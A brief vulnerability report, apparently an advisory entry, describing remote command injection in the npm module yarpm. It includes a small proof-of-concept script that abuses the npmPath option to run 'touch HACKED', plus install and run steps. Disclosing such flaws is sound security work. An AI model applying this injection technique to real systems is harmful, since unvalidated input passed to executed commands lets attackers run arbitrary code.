vulnerability remote code execution
severity 3.8
language javascript
registry npm


The yarpm module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
const yarpm = require('yarpm');
yarpm(['HACKED'], {npmPath:'touch'});

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i yarpm # Install affected module
node poc.js #  Run the PoC

14 Recheck the files: now HACKED has been created